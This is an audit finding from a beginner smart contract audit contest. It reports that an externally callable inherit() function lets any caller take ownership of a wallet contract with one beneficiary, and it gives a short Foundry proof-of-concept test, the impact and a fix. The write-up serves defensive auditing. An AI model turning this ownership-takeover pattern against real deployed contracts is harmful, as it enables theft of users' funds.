Inheritable Smart Contract Wallet
First Flight #35
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Insecure owner update allows anyone to reclaim the contract when the number of beneficieries is 1

recursive_pirate

Summary

The InheritanceManager::inherit() function allows is designed to allows the owner the possibility to reclaim the contract if there is only one beneficiary assigned.
However, because the inherit function is "external" can be called by anyone after the timelock period,

if (beneficiaries.length == 1) {
owner = msg.sender;
_setDeadline();

the caller can become the owner of the contract and can add his own beneficiaries, making sure the attacker can maintain owner access to the contract.

Additionally, the transaction can be front-run by MEV miners.

Vulnerability Details

Proof of concept:

function test_attackerInheritContract() public {
// owner adds one beneficiary as backup
address ownerBackup = makeAddr("ownerBackup");
vm.startPrank(owner);
im.addBeneficiery(ownerBackup);
vm.stopPrank();
​
// after timelock period, attacker reclaims ownership
address attacker = makeAddr("attacker");
vm.warp(1 + 90 days);
vm.startPrank(attacker);
im.inherit();
vm.stopPrank();
​
// attacker is now the owner
assertEq(im.getOwner(), attacker);
}

Impact

When the number of beneficiaries is 1, an attacker can reclaim ownership of the contract, update the list of beneficiaries and withdraw the funds.

Tools Used

Manual Review

Recommendations

When reclaiming ownership in InheritanceManager::inherit() function, check that the caller is the address of the owner backup wallet.

Updates

Lead Judging Commences

0xtimefliez Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

0xtimefliez Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.